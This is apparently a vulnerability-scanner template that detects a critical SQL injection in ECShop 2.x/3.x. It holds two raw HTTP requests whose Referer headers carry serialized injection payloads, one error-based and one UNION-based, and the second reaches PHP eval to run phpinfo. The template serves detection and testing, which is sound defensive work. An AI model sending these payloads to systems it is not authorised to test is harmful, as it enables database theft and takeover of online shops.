id: ecshop-sqli

info:
  name: ECShop 2.x/3.x - SQL Injection
  author: Lark-lab,ImNightmaree,ritikchaddha
  severity: critical
  description: |
    ECShop 2.x and 3.x contains a SQL injection vulnerability which can allow an attacker to inject arbitrary SQL statements via the referer header field and the dangerous eval function, thus possibly allowing an attacker to obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://titanwolf.org/Network/Articles/Article?AID=af15bee8-7afc-4bb2-9761-a7d61210b01a
    - https://phishingkittracker.blogspot.com/2019/08/userphp-ecshop-sql-injection-2017.html
    - http://www.wins21.com/mobile/blog/blog_view.html?num=1172
    - https://www.shutingrz.com/post/ad_hack-ec_exploit/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="ECShop"
  tags: sqli,php,ecshop

http:
  - raw:
      - |
        GET /user.php?act=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
      - |
        GET /user.php?act=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        words:
          - 'XPATH syntax error:'
          - '[error] =>'
          - '[0] => Array'
          - 'MySQL server error report:Array'
        condition: and

      - type: word
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and

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